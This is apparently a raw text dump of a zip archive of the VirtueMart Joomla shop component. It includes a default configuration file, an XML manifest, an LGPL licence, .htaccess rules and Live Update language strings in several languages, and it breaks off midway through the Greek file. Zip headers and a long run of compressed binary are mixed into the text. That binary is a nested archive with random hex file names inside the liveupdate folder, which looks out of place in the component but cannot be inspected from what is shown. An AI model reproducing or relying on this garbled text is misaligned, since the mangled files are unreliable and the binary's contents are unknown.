http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 useVendorEmail=0 dangeroustools=0 debug_enable=none google_jquery=0 multix=none usefancy=1 jchosen=1 enableEnglish=1 ##Shopfront pdf_button_enable=1 show_emailfriend=0 show_printicon=1 show_out_of_stock_products=1 coupons_enable=1 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=bought showRatingFor=all ratingMode=bought reviews_autopublish=1 reviews_minimum_comment_length=0 reviews_maximum_comment_length=2000 vmtemplate=0 categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_store_desc=1 show_categories=1 homepage_categories_per_row=3 homepage_products_per_row=3 show_featured=1 featured_products_rows=1 show_topTen=1 topTen_products_rows=1 show_recent=1 recent_products_rows=1 show_latest=1 latest_products_rows=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=pc.ordering browse_cat_orderby_field=c.ordering browse_orderby_fields=array:`p`.product_sku|category_name|mf_name|product_name|pc.ordering browse_search_fields=array:`p`.product_sku|category_name|category_description|mf_name|product_name|product_s_desc|product_desc ##Pricing askprice=1 roundindig=1 show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 unitPrice=1 unitPriceText=1 unitPriceRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER inv_os=C email_os_s=array:U|C|X|R|S email_os_v=array:U|C|X|R ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PKs>\)com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKs>\ com_virtuemart/virtuemart.xmlnuW+A VIRTUEMART January 10 2014 The VirtueMart Development Team max|at|virtuemart.net http://www.virtuemart.net Copyright (C) 2004-2013 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d install/script.virtuemart.php install/script.virtuemart.php install/script.virtuemart.php router.php virtuemart.php index.html virtuemart_parser.php assets controllers helpers views en-GB/en-GB.com_virtuemart.ini en-GB/en-GB.com_virtuemart.sys.ini en-GB/en-GB.com_virtuemart.sef.ini en-GB/en-GB.com_virtuemart_orders.ini en-GB/en-GB.com_virtuemart_shoppers.ini COM_VIRTUEMART admin.virtuemart.php changelog.php COPYRIGHT.php index.html version.php virtuemart_defaults.cfg-dist config.xml access.xml assets controllers elements helpers install liveupdate models plugins tables views en-GB/en-GB.com_virtuemart.ini en-GB/en-GB.com_virtuemart.sys.ini en-GB/en-GB.com_virtuemart.menu.ini en-GB/en-GB.com_virtuemart_countries.ini en-GB/en-GB.com_virtuemart_config.ini en-GB/en-GB.com_virtuemart_help.ini
      PKs>\$_ %com_virtuemart/liveupdate/LICENSE.txtnuW+A============================================================================== Akeeba Live Update - One-click updates for Joomla! extensions Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com Live Update is a sub-component to assist you in providing one-click updates for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the GNU Lesser General Public License version 3 or, at your option, any later version published by the Free Software Foundation. You can use it royalty- free in any Joomla! extension, Free or Proprietary. The full text of its license is provided below. ============================================================================== GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.PKs>\.com_virtuemart/liveupdate/liveupdate/index.phpnuW+APKs>\rr.com_virtuemart/liveupdate/liveupdate/cache.phpnuW+APKs>\BeL:com_virtuemart/liveupdate/liveupdate/m4v_6909676aa5d9a.zipnuW+APKd[b_6909676aa5d9a.tmpUHW*t 8/gq!Pqێ+.5?I{:nڢZ> %^<7WG Վv+NUYF.cMĥIQɺ(!jZ)+DT cd3/IO~IsKQhp2 㔸l4?' MxkUSY tŵO>Z1R+gf2SaíE5T?`Кv]~?x$-ZGk=ﶃ1^~MOS?{D>G!pc^ˇP-V?#.#A9jςL?f9F`f`NMB=3ۣq=9ȾEɡH` EVZ t-BՊ|=~ !0gխ1haZx0՞-(ZQЙd4pFq=#߿K"A #T963/X+sT_qdI!R&#"YPhQ vB ):GLRhĄ̜Qa&9p2+hAV2UX ЁɒYp/ҼX9_M g8˷jM K5(5`e4RNْ i\Wm$y$Rlikqqڋd}׋Û3ua4 2pԞ˯$_!t`8qfOm^ž G<$Q-q:<33<]mI.%GɁ2]6' F2Aq0c:^{6c)x"TrBn$ /^{KB5=P}SӜ\HyD6e{Dːf7!KTe-F<Ǖ?N*aD[PKd[kikc_6909676aa5d9a.tmp]Xm} ޅ6Pop ԻtUZWw#q'4sH_c?)M?gm~LZ5N:\ 5 hP\֜@+z9p-iE':^ HbL_~I?тN:2X_"rTC6%`?MO@F-pez7' C,~,_9wZ5u\)#ūڃ|UδGI+Q8IwT"GbrQr6L%0Pq]F:mzX-a*L9]DYĨ`[(%-L.7ILMHػb,S lJcVmd3.FõP : @CJ*мu !rA&OH'd>~6B(d^TZ3o>3Jj)ri F#J ܥ*(#s! Zጵ^,I~dQ? wϗNRm.y) g{5J;jXM?}u8}޳g͎סl=pS[N޳Ԧl֧\i? @ fI)aeS䧐\cML o&$|bvIGDM"ƘFB;YDfq gI$8;BTH|:@ˬevJ];eRE=`T}Kά'ىzS;S#[ۂ]5EZ:m2 ds%yrwj Y!'΁6q߻5aDaU{Dbhh eVSoy A.6nD''U~꿻%ȗ5{齱HQמεK'<n(e5\Յv(kmڒ7kt W~Z_WVgp ͒qǷoJ{kN[ 7iBvoA9+ך9){vэs Czgy+R4A1%slpmNRS6^ K+=v䗑YwP#kO$v/7ن lv7loIjҒ595EB`2*E_\08: };4! 6$M/}-&‚7Z`pGeܘ:kQG]KP ^v ln%8ŸԞsb#Sd8+z"˞/IEY%H@N4!Ltam5/9d0皷ijI;:c&>fZDRfrX?Ɯ`q \=_~a3v% !*(?g^rv|‹U5hˆyu8T4=Glfi07=7TB߲0[&k.pq VNqŵ}l8eQG\>'G.HY{ǟKУakh?FiO<Dh F\`5鈼ܨln+*Fecx~+y8{hUr w|}rRc㮪 #%'_I#:M.ufYi(QD^[v.DdAp8ٰKʼn<=~KB9Zg5vKJ R; jAkayŠ\^?YZ94줠I4ğHIVc9LXtC3Y @ iyZܳ asγ1VY1}!8̨t:Uc7 v8{ > '=4ؐh^4Ëց(+ 4h \ Kt &wx:+AͰh(*~rAjc#fIvUN6qYM'Hu EV@ߢ|PuD ̇&ߣttfkH*ߒЁ~@wSiRB]1ɀ i6|"b礤Ƿt0Q=F(z2H5Q/6rg g:K͗?il|J[hnxkV"RvõΛ->_@GԒtɾ"`[~rZxUťsQu={+sugy4ۣs`)pCΑ'E!,11fX@mFwOhf@8_2Lay#rUN)J"kcX5CL\h8ŠSXr @ `$.n47z{y=O=E6Uylpۋ=8g;mĽB֧6e(+M%ï<#@&?[!zںn4ÕkaH4Hnā50OE Eh(j+@czݕM#)7 iU4Kd6G'pP'Ӭٗ*f& ьeo]^7hߠţ4<J[`=CF'P0\,r.com_virtuemart/liveupdate/liveupdate/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKs>\CO=com_virtuemart/liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

      Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PKs>\3com_virtuemart/liveupdate/language/uk-UA/index.htmlnuW+APKs>\)2com_virtuemart/liveupdate/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PKs>\7OO=com_virtuemart/liveupdate/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Before you update your live system, please test the update on a backup system in order to prevent loss of data. Expect small incompatibilities, if you are using 3rd party extensions or your own customizations (plugins, modules, templates)." LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_ERROR="Error" LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Remember to update also your plugins and modules, for which you may use the live updater in the VirtueMart-AIO installer." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="RC" LIVEUPDATE_STABILITY_STABLE="Stable" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_TASK_OVERVIEW="Live Update"PKs>\3com_virtuemart/liveupdate/language/en-GB/index.htmlnuW+APKs>\)2com_virtuemart/liveupdate/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKs>\)2com_virtuemart/liveupdate/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PKs>\?""=com_virtuemart/liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+A; Package Akeeba Backup ; Version fr-FR.liveupdate.ini 2011-07-23 by Sarki ; Copyright (c)2006-2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU GPLv3 or later ; Note : All ini files need to be saved as UTF-8 LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et leur demander d'activer l'extension PHP cURL ou activer la fonction fopen URL () . Si ceux-ci sont déjà activés, veuillez leur demander de configurer leur pare-feu afin qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez fournir votre nom d'utilisateur/mot de passe ( ou votre ID de Téléchargement ) dans les paramètres du composant pour pouvoir mettre à jour vers la dernière version." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraichir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la Configuration globale de Joomla!

      Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas continuer." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="MISE À JOUR ! Cliquez pour l'appliquer..."PKs>\3com_virtuemart/liveupdate/language/fr-FR/index.htmlnuW+APKs>\-com_virtuemart/liveupdate/language/index.htmlnuW+APKs>\)2com_virtuemart/liveupdate/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PKs>\@2R =com_virtuemart/liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

      Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PKs>\3com_virtuemart/liveupdate/language/pl-PL/index.htmlnuW+APKs>\=com_virtuemart/liveupdate/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να 